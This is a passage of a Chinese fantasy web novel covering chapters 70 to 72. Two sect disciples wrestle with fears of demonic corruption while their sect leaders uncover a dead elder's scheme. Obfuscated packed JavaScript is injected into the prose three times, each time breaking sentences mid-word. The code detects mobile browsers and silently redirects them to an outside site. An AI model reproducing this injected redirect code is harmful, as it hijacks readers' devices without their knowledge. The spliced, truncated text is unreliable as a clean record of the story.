“师姐……”和师姐的关系更密切的汤穗穗脸上的担忧更明显,她忍不住猜测起来那个可能,“——是心法反噬了吗?” 虽然早就知道会有这么一天,汤穗穗原本以为时间还很充裕,没想到就这样出现在她的面前,而自己什么准备都没有做好。 一想到这种可能,汤穗穗的心中就忍不住自责,觉得自己的进步还是太慢了,不能抢在师姐被反噬之前解决这个隐患。 “不会吧……”听到汤穗穗的猜测,蓝鄞的脸上也变得凝重。对于心法反噬相关的事情,蓝鄞自己也说不上什么心情,只是觉得这一天早晚会到来,没必要提早为这件事情烦忧。 可现如今真的发生在相识的人身上,蓝鄞的心中变得十分复杂,她还没有做好面对这种事情的准备。 “不是反噬。”姬忘尘咽下口水,抬眸看向担忧自己的两人,心里有愧于面前的两个担心自己的人。对于这一点,她可以毫无保留地同两人分享。 就在方才战斗中感知到那股气息的时候,姬忘尘瞬间觉得脊背发凉,乱了阵脚。 倘若出现在她身上的只是反噬,那她也不会人如此慌张。 她不想让面前的两位为难,因此下意识将真相隐藏,希望能在两人面前留存如今正面的形象。 “……我不回去了,”姬忘尘抿着唇从怀里掏出原本要找寻真相的铃铛,摊开掌心,“辛苦你帮我转交宗主。” “东西我可以帮你收下,但我需要理由。”蓝鄞没有接过铃铛,只是紧紧盯着面前的人,脸上十分严肃,“究竟发生了什么,让你的变化这么大?” 听到对方的问话,姬忘尘垂眸看着掌心里黯淡的铃铛,眸中情绪复杂。 如今的她,又有什么资格去替别人挖掘背后的真相呢? “真相是你要找寻的,对我来说无所谓。”蓝鄞抬了抬下巴,挑着眉开口强调,“你信不信我直接把它扔在路边?” 虽然蓝鄞的态度看起来十分无所谓,但是姬忘尘知道,对方是绝对不会这么做的。 其实蓝鄞和她一样,都有着自己的执着,都想要尽自己所能做些什么。 “我信。”不过出于对对方性格的了解,姬忘尘还是点点头,顺着对方的话语开口,“……但我确实有不得不和你们分开的理由。” “这算哪门子理由,你别糊弄我。”蓝鄞完全不在乎姬忘尘的说辞,撇着嘴翻了个白眼,“赶紧说,别拖延时间。——我可不要睡在郊外。” 虽然时间尚早,但回宗门也有一段不短的路途,不太能赶在当天回到江望城。不过现在快马加鞭的话,或许还能赶在日落前居住就近的镇佃。 “师姐,不管你有什么不得不分开的理由,”和蓝鄞的说辞相反,汤穗穗又往前迈出一步,“我会一直跟着你的。” “这不是儿戏……” “哎,穗穗说得对,我也会跟着你的。”蓝鄞也上前一步搭在汤穗穗的肩膀上,坚定地望着姬忘尘,表明自己的态度。 “不行,你得把铃铛带回宗门。” “姬忘尘你什么意思——”蓝鄞怒气冲冲地开口,“你就是要甩掉我是吧!” 听到蓝师姐的话语,汤穗穗“噗嗤”地笑了出声,周围原本凝重的气氛也变得轻快。 “……方才,我的灵力忽然使用不了了。”姬忘尘也知道面前两人的执着,犹豫了半晌还是被撬开了口。 其实她心里也在期待着,面前的两个人知道真相之后会怎么看待自己。 “这简单,回宗门找葛长老给你看看。”蓝鄞不自觉地松了口气,脚步轻快地走过去,把铃铛从对方的手里掏走,在手中掂量几下,打算扔会给姬忘尘。 就这? ……还以为多大点事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736846|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 确实听起来还挺瘆人的,但蓝鄞完全觉得没什么:“行了,放心吧,我们又不会嘲笑你,也不会暗杀你。——甚至回去的路上我们还可以保护你呢!” 姬忘尘没有再和两人拉开距离,听到蓝鄞的话语之后,脸上落寞的神色也没有变化。 “难道师姐想说的……”一直紧紧盯着对方面庞的汤穗穗鬼使神差地想到了什么,不可置信地开口:“是魔气吗?” 在话语出口的时候,她多么希望自己的猜测是错误的。她知道师姐曾经被传言困扰着许久,可倘若其中的内容为真,那对师姐的打击该有多大…… “什么叫……‘是魔气吗’?”蓝鄞疑惑地眨眨眼睛,她忽然觉得自己好像听不懂汤穗穗口中的话语。 姬忘尘沉默不语,没有反驳,也没有应和。 许久之后,在汤穗穗的屏气凝神中,姬忘尘闭上眼缓慢而郑重地、点了点头。 周围的空气停滞在半空,周围静得只留下风吹动树叶的“沙沙”声。汤穗穗和蓝鄞努力地思考着姬忘尘这个点头的含义,生怕自己的理解和事实出现了偏差。 而姬忘尘反而卸下了心里的担子,呼出闷在胸口的浊气,眼神反倒有几分轻松,勾起嘴角看向汤穗穗:“……所以,他说的是真的。” “胡说!一定是你自己吓自己。”蓝鄞斩钉截铁地反驳回去。 她又上前一步拉进两人的距离,紧紧盯着面前人的眼睛,似乎能从对方的杨经理看到自己的身影:“姬忘尘,你又在瞎想什么?” “是真的。”面对质疑,姬忘尘心情复杂地抿着唇看着蓝鄞,她知道对方曾经对传言一惯的态度,但事实不容得自己乐观下去。 “有本事你现在调用魔气给我看!” 明明是激将法,姬忘尘倒也真的尝试着方才战斗中感受的那样,想要复刻出来——只不过现在的她再也没能调用任何魔气,仿佛那一切发生的事情,当真是自己的错觉。 “我就知道是假的,我看你就是太累了喜欢胡思乱想。”蓝鄞冷哼一声,“行了不回去就不回去,铃铛的事交给我,这段时间你就好好在山下休息。” 她一边说一边转身,拍拍站在一旁师妹的肩膀,安排道:“你呢,就负责跟着你师姐。——姬忘尘手里有个及时通讯的机关,拿上它。要是真出事了,马上联系我。知道了吗?” “我知道了。”汤穗穗撇了一眼一旁的师姐,忙不迭地点头,“……蓝师姐你呢?” “我还能干嘛?肯定是替某个人找真相了。……行了不跟你们废话了。”蓝鄞没好气地开口,捏紧手里的铃铛,偏头瞪了一眼姬忘尘,忍不住低声暗骂一句,“啧,真是麻烦。” 眼看着面前人就要离开,汤穗穗连忙对着蓝师姐背对她们的身影喊道:“蓝师姐,那就麻烦你啦!” 蓝师姐听到汤穗穗的声音非但没有回应,反而加快了脚步,眨眼间就消失在了她们面前——她的身影有几分落荒而逃的意味。 汤穗穗忍俊不禁。虽然方才蓝师姐的脸色很臭,但她所做的行为反而和她嫌恶的语气相反。 “……你呢?”姬忘尘忍不住开口打破两人间的沉默。 她还是希望汤穗穗能够跟着蓝鄞离开,毕竟现在的自己是极其危险的存在,说不定什么时候就会变成癫狂的魔物。 “我会跟着你的。”汤穗穗转身望着师姐,虽然师姐和她还保持着一段距离,但她不会因此就离开师姐,“不管是蓝师姐的嘱咐,还是我个人的选择,我都会跟在你身边。” “我会伤害你的。” “不会的。”汤穗穗看向面前惴惴不安的人,脸上扬起安抚的笑容,“师姐,你不舍得伤害我的,不然也不会一直强调让我们离开了。” “——我和蓝师姐一样,我们相信你。” 既相信方才那一切只是师姐的错觉。 ……更相信师姐不会变成癫狂的魔物。 70.真与假 “所以说,就在刚刚你调用体内灵气的时候,感受到的截然不同的气息……就像魔气一样,因此你才怀疑之前那个判断是真的?”坐在马匹上的汤穗穗歪着头,总结师姐方才描述的事情。 在蓝鄞离开后不久,她们俩从深林中离开。汤穗穗被师姐扶上马匹,而师姐自己则牵着缰绳慢悠悠地走着。她们前进的速度并不快,正好趁着这点时间开诚布公地说出方才的经历。 “虽然现在感受不到,但方才我……”姬忘尘牵着缰绳的手紧了紧,她的内心十分矛盾。即便蓝鄞认为是自己的错觉导致,可她还是更倾向于自己认定的事实。 意识到这一点之后,姬忘尘藏在心底最深处的害怕又冒了出来,与此同时她又有几分释然。 原来她的体内真的有魔种,小师舅当年并没有说谎。 曾经她总是觉得自己是被命运抛弃的,此刻也不例外。 ……毕竟自己,的的确确是需要防备的存在。 “师姐……”汤穗穗眼看着师姐眼底的光彩黯淡下来,连忙拉长了音唤回对方的思绪,“你只是太累了。” “可是——” “哎呀哪有那么多‘可是’,师姐你就是崩得太紧,什么风吹草动都信以为真。”汤穗穗打断对方的话语,弯下腰靠近身旁的师姐,“所以我们就趁这段时间,在山下好好放松放松,怎么样?” 姬忘尘错愕地抬头望向师妹,脸上浮现迷茫的神情。 不管是她还是蓝鄞,她们都没有把自己身上的问题当做一回事,反而认为是自己过度担忧而导致的。 ——“我们相信你”。 脑海里再一次响起了这句话后,姬忘尘不自觉地移开目光,望向地上的杂草与落叶,内心深处的那一点点隐藏的自卑又在蠢蠢欲动。 如果是今天之前,姬忘尘会认可这份相信;但现在的她,只会觉得自己愧对这一份炽热的信任。 ……她觉得自己不值得。 她相信自己的体内真的存在着魔种,或许过不了多久,她就会变成当时失去铃铛控制的杜蕴辰一样,双目赤红、面容癫狂。 那时候的自己,又能得到几分她们的同情呢? 似乎应和着姬忘尘矛盾不已的内心,林中的风骤然变大,刮得周围的树叶“沙沙”作响,卷起她们的头发,在半空中飘动,贴在脸颊旁。 “师姐,你担心的那一切都还没有到来。”在姬忘尘沉浸在自己的担忧时,汤穗穗坚定地开口。 她保持着附身的动作,望进师姐的眼睛里,安抚对方不安的灵魂:“我会一直在你身边。” 四周的风变得和煦了些许,姬忘尘抬头望着师妹,眼睫轻颤,嘴唇翕动却欲言又止。 “师姐,就给我们一些时间和机会。”师妹放轻了声音,微风将她的话语送到了自己的心里,“所以,可以不要别那么快就放弃自己,……好吗?” 师妹的话语就像这股微风,吹动她心中本就透着岌岌可危的心防。 金色的日光恰在此时透过树荫洒了进来,不偏不倚地落在汤穗穗的身上,照得她整个人几乎往外散发着光。 酸涩的情绪又涌上姬忘尘的鼻尖,眼眶被水花浸湿,她眨着眼移开视线,好一会才把这股情绪压回心底。 她忍不住想起以前的事情,那时候的她觉得师傅因为疼爱汤穗穗,所以总会忍不住对师妹心软。 知道现在她才后知后觉地意识到,汤穗穗虽然年岁尚小,但心里很清楚每个人的软肋,因此能将洞察旁人心中的想法。 ……再对上师妹澄澈纯粹的眼眸时,拒绝的话语真的很难说出口,只会忍不住点头应下。 汤穗穗并不知道师姐心中所想,她所说的话每一句都发自内心。当师姐迟迟没有表态,她按耐不住心中着急的想法:“师姐?” 听到自己的声音,师姐侧着身体垂眸,却没发现师姐自己的声音带着轻微的颤抖:“……好。” 得到师姐的应答,汤穗穗心中沉重的石头终于落了下去,鼓起腮帮子呼出浊气。脸上的喜悦取代了担忧,笑着和师姐说起山下好玩的地方。 虽然她的脸上带着笑,但她知道这件事不会到此为止。如果师姐只是因为心法反噬而判断出错,她需要尽快找到逆转反噬的办法;……倘若师姐身体里真的有魔种,她更会不惜一切代价去拯救师姐。 等她们下一次回宗,问问师傅、或许她们就能找到更好的办法;她还记得离开宗门前,唐澄澄曾经跟她说过关于净化魔气的机关,不知道好友的研究有没有进展…… 希望这一切都还来得及。 一旁的姬忘尘似乎能听到少女的心声,回过头看向马背上的少女,脸上挂着恣意的笑容,头上的发簪随着马匹前进的动作一晃一晃,正适合她这样意气风发的年纪。 现在的她也慢慢回过神来,意识到方才的自己过于大惊小怪。 是她早将小师舅的判断信以为真,才在自己的心里安放了怀疑的种子,因此也就在方才的那一刻失去了寻常理智的判断。 正如蓝鄞和穗穗所说,这件事还有许多种可能性。 这样想着,姬忘尘又再次用同样的方法使用体内的灵力,这次依旧没有感受到魔气的存在。 ……也许真的就是自己的错觉吧。 想到这里,姬忘尘心里不免变得轻快起来,脚步不再那么沉重,侧耳认真倾听师妹的介绍,心中萌生了一些游玩的想法。 自我怀疑了那么久,或许她也应该换个角度,尝试去相信自己。 另一边的蓝鄞带着铃铛快马加鞭,因为担心着姬忘尘的情况,她半点不敢休息,一连疾驰几个昼夜奔回宗门。 回到宗门之后,她按照姬忘尘之前提到的,将铃铛交给对方的师傅、如今管宗门事务的秦长老。她没想到秦长老接过铃铛之后,慈祥的脸色骤变,双目掩盖不住惊愕:“忘尘她,从哪里得到的? 对方的神态动作反而印证了蓝鄞心中的猜想。 她将姬忘尘转述的秦王府一事如实说来,只见面前女人脸上的神色愈发凝重,紧蹙的眉宇凝成“川”字。 “那忘尘和穗穗,她们现在又在何处?”饶是如此,秦无纪还是下意识关心门徒的去向。 “她——”提及姬忘尘的时候,蓝鄞不自觉地停顿下来,犹豫再三还是选择隐瞒对方的情况,“……姬忘尘说要带穗穗在山下历练一番。” 话语出口的时候,蓝鄞下意识捏紧自己的拳头,挺直后背,屏气凝神观察面前的变化。同时也在思考着,若是这样简单的谎言被戳穿之后,她又该说些什么圆回来。 好在秦长老此刻心神不宁,并未留意到她这细微的停顿。 得知两人的去向之后,秦无纪也松了一口气,再次凝神盯着掌心的铃铛:她认识物件的主人,也感受到物件上残留的灵魔两气交织的痕迹。 又跟据蓝鄞方才提到的内容,秦无纪知道这件事情耽搁不得,连忙起身往外走去。 即使对方离开时脚步匆忙,但还不忘对蓝鄞颔首道谢。 后者望着对方离开的背影,她也松了一口气。她相信秦长老拿到铃铛之后,一定能够抓出那个为非作歹的人。 比起这个,她心中还有几分担心姬忘尘。她了解姬忘尘的性格,总是会在某些地方钻牛角尖,总是往严重的方向想去。不过现在有穗穗在对方的身边陪着,也让她稍微放心了一些。 拿着铃铛的秦无纪去到宗主处理事务的房间,她连敲门都顾不上,绕过屏风直接将手中的物件递了过去:“师姐你看——” “你这是从何处拿到的?!”宗主猛地站起来,双手轻微颤抖地将对方手里的物件拾起,放到眼前仔细端详——与记忆中的别无二致。 她记得清楚,这是小师弟第一次参加新秀赛夺得魁首之后,由自己亲手交予的、可以屏蔽气息的铃铛。 如今这物件上不仅沾有小师弟的灵气,还有尚未散去的魔气。 可小师弟早已魂散多年,这件属于他的物件又怎会在此时出现? 秦无纪连忙将方才发生的事情对师姐全盘托出,包括姬忘尘她们在秦王府发现的一切。 听清来龙去脉后的宗主怒气翻涌,皱着眉张口想要说些什么,喉头却涌上一股腥甜的味道,控制不住地咳了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742161|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,桌上的纸张随即沾染上鲜血。 “师姐,切勿动怒!”秦无纪连忙传送灵气到对方身上,轻拍对方的后背,“这是怎么一回事?小师弟怎么会跟地缚灵扯上关系?” 方才蓝鄞交给她的时候她就已经认出,这是小师弟的物件。即使她已经从姚成的口中知晓小师弟的结局,但她不能把小师弟和地缚灵口中的神秘道士联系在一起——她还以为是有人窃取了小师弟的物件,想要栽赃他。 然而宗主比秦无纪更了解小师弟。 早在很久以前,自己第一次受到功法反噬的时候,小师弟就说过要以另一种方式出去魔气,以此降低功法对于她们本身的伤害。 当时的她厉声呵斥了对方的提议,没想到对方不仅没有把自己的话听进去,反而把这个想法落实了下来。 宗主一手紧紧地攥着手中的铃铛,硌得掌心生疼也没有松开;另一只手压在桌上,支撑自己因生气而颤抖的身体;她的嘴角还留有残余的血渍,挣扎着开口:“……他当真是疯了!” “师姐的意思……”秦无纪听出宗主的言外之意,大惊失色,“难道这一切竟然是小师弟所为吗?!” “地缚灵不是。但他蓄意诱导地缚灵积储魔气,等待时机成熟再将其除掉。”宗主用力地擦掉嘴边鲜血,怒不可遏,“如此罔顾生灵,实属大逆不道!” 就如同屠户豢养家畜,为保证肉质鲜嫩,通常会养到一定程度后再将其斩杀。 可当这一招用在地缚灵身上,又何尝不是隐含高人一等的意味? ——她们行于此道,并非将自己置于万物之上,反而更要以万物为先才是。 宗主原本以为小师弟入魔只是因为“物极必反”,没想到远在二十多年前,对方就已经谋划了此等阴险的计策。 ——难道他一直没有放弃他心中的那个想法吗? 宗主被气得胸膛连连起伏,心绪久久不平,喉头又漫起铁锈味。余光瞥到身旁担忧着自己的秦无纪,她面色凝重地看向对方。 她不知道这些事应当如何开口,即使心中已经有了较大的把握,但依旧还残存些许侥幸:说不定是自己误解了小师弟呢? 秦无纪不知宗主所想,她熟练地给对方斟上温水,递过来:“师姐,喝些水缓和一下。” 她看得出来师姐脸上的犹豫,但她也有自己的分寸,不会过问那些还不到时候知道的事情。 宗主将手中的铃铛放在一旁,接过秦无纪递过来的水杯,抿了一口。温和的水流顺着喉舌滑入身体,让她恢复了些许理智。 她还记得在小师弟的设想里,还有最关键的一步:种魔。 倘若对方早有行动,那最有可能的对象就是姬忘尘。她放下水杯,双手用力地握紧了秦无纪的手,沙哑的嗓音艰难开口:“倘若姬忘尘真有入魔的那一天……” “我会杀了她。”秦无纪垂眸望向师姐的手背,又再抬眼对上师姐的眼睛,看到自己的身影,给出当年同样的答案,“但只要她一天没有入魔,我就会庇护她一天。” “……好。要记得你今天说的话。”宗主松开对方的双手,整个人卸了全身的力气瘫软在她的椅子上,视线紧紧地锁定着桌子铃铛,“哪怕你日后知晓,这于她而言,不过是一场无妄之灾。” 她的后半句声音很轻,心中还是不敢相信这一切竟然真的会发生。 思及此,她忍不住怨恨自己的迟钝,和这些年对小师弟无意中的纵容,才让对方竟然胆敢走到了这一步。 “您是说,”敏锐如秦无纪自然捕捉到意在言外,不可置信地瞪大了双眼,“——小师弟蓄意针对忘尘?” “……不是。”宗主艰涩地扯起嘴角强颜欢笑,“他只是以自己的方式‘救世’。” 哪怕直到今日,回想起对方提到的想法,她依旧觉得无比讽刺。此时只恨当时念在同门情谊手下留情,没有再往对方的身上多刺几剑,让他死得太过畅快。 宗主无力地靠在椅背上,望向室外澄澈明媚的天空,眼中满是怅然。 她们这群人,又有什么资格,以“救世主”的名义罔顾无辜生灵? 71.雪 “……现在我和师姐循着罗盘,清理潜藏在城镇周边的瘴兽和魔物,蓝师姐不用担心。”汤穗穗握着通讯圆盘,和远在宗门的蓝鄞汇报着她们的近况。那天之后,师姐就把通讯圆盘给了自己,由自己充当联络的人。 因为通讯圆盘所耗费的灵力对她来说还有些吃力,所以一次只能联系一个人。为了避免蓝师姐担心,也考虑到师傅事务繁忙,她最后还是选择了联系前者。 “行。你师姐心情好些了吗?没有一言不合又让你回宗门吧?——我可不是关心她,我是关心你。” “师姐她很好,那天以后也没有出现过之前的状况。” “那就好。”圆盘那头的蓝师姐似乎松了口气,说起铃铛的事情,“秦长老将铃铛拿走了,没有明说什么情况。要是姬忘尘想知道真相,那就自己回宗找长老们询问。我可不负责传话,……赶紧回来吧。” 尽管蓝师姐的声音在后面弱了下去,不过汤穗穗还是听出了对方隐藏的关心。她下意识勾起了嘴角,露出了然的笑容笑容。 蓝师姐还是一如既往,明明是关心的话语,却非得说成另一幅模样。 但汤穗穗懂事地没有戳破对方的伪装,只是笑着应承下来。 可惜她的灵力维持不了圆盘多久,在对方的“威胁”下答应保持联络,便匆匆结束了短暂的通话。 罗盘的声音不算小,坐在汤穗穗身边的姬忘尘也能将两人的谈话听得一清二楚。随着她们的通话结束,她手上拨弄火焰的动作下意识停顿片刻,望着烧得正旺的火堆:“穗穗接下来有什么打算?” 如今时节又到了九月末尾,天气开始转凉,姬忘尘习惯性地点好了火堆给汤穗穗暖身子。做好一切之后才想起来,如今的师妹已经不再畏惧严寒。 不过好在,师妹依旧如往常一般,笑吟吟地答谢,才冲淡了姬忘尘心中的自责。 “嗯?我当然是全听师姐的。”汤穗穗收好了方才的圆盘,靠在师姐的身边,抱着对方的手臂,“要是师姐想回去了,我们就回去;要是师姐还不想,我们就继续在山下游玩一段时间。” 眼前跃动在木堆上的火焰一跳一跳,焚烧着她们最后的隔阂。 “……我还不想回去。”姬忘尘感受着手臂传来的热意,轻声阐明自己的想法,“我想在山下再走走。” 或许是心态发生了转变,她觉得自己心间轻松了许多,比起以前好像更融入了尘世些许。 也是在这几天里,当走过那些曾经踏足过的道路时,她重新打量周围的一切,才恍然间发现山下与她记忆中的模样已经相去甚远。 她忍不住反省,有多久没有像现在这样,放空心中的杂念、单纯地停留在山下? 与此同时,她感觉到自己停滞许久的境界有了松动的迹象,说不定她还能在山下的历练中,摸到晋升的门路。 “好啊,那我们就在山下好好玩玩——那些可是我的地盘了!”说到游玩,汤穗穗瞬间来了精神,叉着腰跟师姐炫耀道。 “嗯,听你的。”姬忘尘勾起唇角,顺着师妹的话往下应答。看着对方活泼的模样,她也觉得自己年轻了几岁……虽然她也就比师妹大上十岁左右。 两人就这样沿着罗盘的方向除魔,之后去到附近城镇歇脚、闲逛,寻常的日子也过得十分有趣。 只不过在除魔一事上,稍许有些变化:两人调转了配合的方式,姬忘尘从主动变成辅助汤穗穗。 提出调换的是汤穗穗,她还是担心师姐存在心法反噬,而影响判断的可能,所以想要尽可能减少师姐使用灵力。 虽然姬忘尘不以为然,但在师妹的执着下,还是无奈地听从她的安排。 即使现在再也没有感受过体内魔气的存在,她也不想让师妹为自己担心,更不希望因为这样微不足道的小事而起争执。 两人转换之后,汤穗穗也在除魔的路上逐渐巩固自己的修为,并期待着自己能够早一日超越师姐,这样或许能让师姐不那么辛苦。 手中的链剑也在这一路上逐渐耍得有模有样,如今她可以直接调用灵气和链剑结合,顺利将魔物制服。 今日也是这般。 在师姐的辅助下,在对方将魔兽困住后,汤穗穗沉下脸随即变换姿势,再一次调用灵力刺了上去。魔兽发出哀嚎的声音、倒地不断挣扎,她脸色未变,手上长剑化作锁链,用力勒着魔兽的脖子。 锁链锋利的边缘刺破了魔兽的皮毛,沁出紫黑色的血丝。而她熟视无睹,手上动作加重,将其按得更紧。在方才激烈的打斗中,她的脸上有被魔兽飞溅的血渍,她抬手面无表情将血渍擦去。 在魔兽的凄惨叫声中,她流畅地完成了净化的流程。 “……终于搞定了。”汤穗穗长长地呼出胸口的闷气。她用灵气清洁了剑上残留的血痕,收回链剑挂在腰侧,伸了个懒腰,舒展着筋骨,拉长音跟师姐抱怨道:“我都觉得我快成野人了——” 这头魔兽一直藏匿得很好,一直变换着位置,难以被罗盘捕捉。若不是来到镇佃时,姬忘尘望着荒芜的田地多张个心眼,否则她们也没能发现魔兽的存在。 不仅如此,这头魔兽警惕性极高,寻常的办法根本不能将其捕捉。因此,她们采用潜藏山林的老办法,去摸索它的行动轨迹。 起初魔兽真的隐藏得很好,但汤穗穗她们比它更有耐心,花了将近一个月的时间,终于将它堵在了这里,顺利地完成了净化。 但蹲守魔兽的这段时间里,汤穗穗从来没有在野外度过这么久的时间。上次去乾坤宗的路上,她们虽然也是宿在野外,但最长也就五天的时间,就又会去到附近的村庄歇脚。 这段时间里,她有时甚至会觉得,当野人也不过如此。 听到师妹的抱怨,姬忘尘被她逗得笑了出声,转头望向对方:“好啦,都结束了,我们赶紧回城里吧。” 与汤穗穗不同,姬忘尘以往在山林当“野人”的机会只多不少,她之前从未觉得这是什么难以忍受的事情。 但现在的她,也不太理解曾经自己的想法——好好的城镇不住,非要跑到山林里当“野人”。 “好耶!我要大吃一顿!” “在那之前,还是先梳洗、歇息一番吧?……难道你不累吗?” “累,但我觉得吃的也很重要!” 两人正讨论着回城镇之后的想法时,天边不知何时起,飘起了点点不过盐粒大小的雪花。 算算时间,如今应当也将近冬月,再过一个月,就又要过年了。 虽然已到中冬,但两人有灵气护体的情况下,身上衣着看起来还比较单薄。为了避免过于引人注目,两人各外披了一件狐裘以作遮挡。 “——师姐,你看下雪了!”汤穗穗兴奋地伸着手,托住了漂浮的雪花。 她笑着偏头看向师姐,而对方也正仰着头也如她一般,伸手接住掉落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不好。”蓝师姐的话语依旧如此直白。 但很快对方又补充道:“宗主,……不太好了。” 这句话出口之后,两边同时变得寂静,只听得到三人的呼吸声。 “……宗主她,怎么了?”姬忘尘顾不得其她,伸手拿过师妹手里的圆盘,语气急促地开口。 “功法反噬,葛长老是这么说的。……这段时间宗主昏迷了好几次,而需要处理的宗门事务,现在全权交由秦长老了。”那边的蓝鄞声音有些沙哑,没忍住打趣两人,“宗主已经做好将位置交给秦长老的准备,说不定等你们回来,她已经是下一任宗主。” 但听到消息的两人皆沉默着,不知道该做出什么反应。 “别担心,宗主早就料到这一天了。”蓝鄞比起她俩还是更了解宗主一些,下意识地开导两人,“倘若因为这件事茶饭不思,耽误了要事,反而会让宗主生气。” 蓝鄞那边也还有事情要处理,没有等她们再回应就切断了联系。 而姬忘尘就这样握着圆盘站在原地,低头垂眸望着圆盘许久,才放回汤穗穗的手里;后者下意识伸手拉着师姐的手,从对方的掌心汲取温暖,拉回自己游离的心神,心中情绪复杂。 虽然和宗主的接触并不多,但听到蓝师姐带来的这个讯息,她的心中泛起了无法忽视的难过。 72.腊月 汤穗穗如今的灵力比前段时间更充盈了些,再加上蓝师姐方才很快就切断了通讯,现在她的灵力还够支撑她再联系一个人。 因此她没有丝毫犹豫,再次启动罗盘联系师傅。 “怎么了,忘尘?”师傅的声音与往常并无差别,还带着几分讶异。 “师傅是我,穗穗。”汤穗穗着急地接话,问起宗主如今的情况,需不需要她们立马回宗。 “不用啊。”师傅那边传来走动的声音,似乎换了个位置和她们接着说下去。师傅的声音并未带着焦虑,反而还带着笑意,这让她们安心了些许。 师傅接着方才的话语说了下去:“宗主现在的情况已经稳定,没有你们想象中那么危急。……要不,我让她给你们说两句话?” 还没等她们开口,圆盘那边传来沙哑的声音:“……穗穗?承蒙关心,我现在情况还好着呢。” 对方的声音确实有些虚弱,但也没到油尽灯枯的地步。 得知两人的担心,宗主反倒说起宽慰的话来。她没有回避自己身体上的问题,反倒劝她们在山下好好游玩,别太在意山上的事情。 得到了当事人的开解,两人悬在半空的心终于放下些许,脸上的愁云也散开不少。 为了让通讯另一头的两位长辈放心,汤穗穗说起了这段时间两人历练的经历,也得到了两位长辈的称赞。 不过考虑到宗主的状况和汤穗穗的灵力消耗,两方依依不舍地结束了联系。 或许是方才的消息过于吓人,看着手中黯淡下来的圆盘,汤穗穗后知后觉想起,方才忘记问询师傅关于铃铛的事情。 她不知道该不该再次联系师傅,下意识抬头望向师姐求助,眼底有些不知所措。 姬忘尘自然看出师妹心中所想。 现在的她虽然也想知道真相,但料想此时师傅应当忙于宗门事务,也不好再次叨扰。既然铃铛如今已在宗门,又涉及到宗门的前辈,也该给时间师傅好好整理整理。 ……也给自己留出时间,好好清理心中沉积已久的冗杂思绪。 等她再回去,不管师傅是否会隐瞒,她都一定会将真相揭露,给杜蕴辰一个交代。 所以姬忘尘并不急在这一时半刻,她伸出手拍拍师妹的肩膀:“别担心,还不到时候。” 两位前辈已经走过她们的道路,后辈的她们现在应当把视线重新落在自己的身上,沿着自己的道路往前走。 过了冬月,便是腊月。 原本汤穗穗对时间并没有太大的感知,直到路过山脚城镇的时候,街市上热闹非凡,堪比当时在王城的景象。 她心生好奇,上前询问摊主后才知道,如今已过了腊月中旬,家家户户都在为半月后的新年筹备着。 望着周围一张张喜气洋洋的面庞,两人均被沾染上这份喜悦,对视一眼做了个大胆的决定。横竖周围的魔种、瘴兽都被她们清理干净,不如就放慢脚步,在当地租了间不大的宅院,等过完年再离开这里。 为过年做准备这件事,对汤穗穗来说是一个很新奇的体验。 以往在山上时,师傅和师姐都不太注重这些琐事。她猜想,或许她们总是奔赴在除魔的路上,已经远离尘世多年,更不用说山下的这般热闹氛围。 她还记得刚上山的第一年,是师傅送草药到山下医馆时,才意识到新年的到来。后来师傅还学着山下长辈那样,给自己买了压邪攘灾、喜庆祈福的压岁钱。 压岁钱并非流通的货币,而是依照钱币形状,便于佩戴玩赏的一种辟邪品[1]。以前她还不知道这一点,傻乎乎把压岁钱递出去,惹得旁人好一番笑,这才给她解释清楚其中的差别。 而现在的汤穗穗正兴致勃勃地混在人群中,探头探脑地学着街上的百姓筹备过年的物品。 这不学不知道,一学吓一跳。她才发现,原来过年要准备的事情不仅多还十分琐碎,让她有些摸不着头脑、分不清主次。 她又将求助的眼光望向师姐时,师姐脸上的迷茫比她更甚,手足无措地望着周围的人。 “穗穗丫头?” 汤穗穗沿着声音回头望去,挎着篮子的阿婆在不远处笑着和她们打招呼。 “李阿婆,好巧!”她认得对方,正是她们租住宅院的邻居。她上前两步,笑着挎过对方的手臂应答。李婆婆为人热情大方,把她们当成自家的小辈,这几天经常分享家里做好的饭菜。 “怎么,你俩站在这街上,模仿阿玉最爱的木头人?”李阿婆笑着打趣。阿玉是李阿婆的孙女,还不到四岁,最爱的就是捣鼓母亲买来的木头人。 姬忘尘听到这话不自觉的涨红了脸,汤穗穗笑着应下这句调侃,反问道:“别笑话我们啦,李婆婆。我和姐姐本想上街准备些采买的东西,只是看的眼花缭乱的,一时半会不知道从何备起。” 少年的话语说得真诚,李婆婆抬头看向对方还带着稚嫩的面庞,又望向另一位内敛的青年,心下了然。 这二位姑娘气质非凡,料想也是大家庭出身,寻常置办年货一事也应当是由家仆筹备。这样想来,倒也合情合理。 故而李婆也没由藏私,轻轻拍了拍少年的手臂,大方地开口:“那就跟着老婆子来吧,……只是我们的置办,或许与你们往常略有不同。” “没事没事,入乡随俗嘛!”汤穗穗一边扶着李婆婆一边乐呵呵地开口。 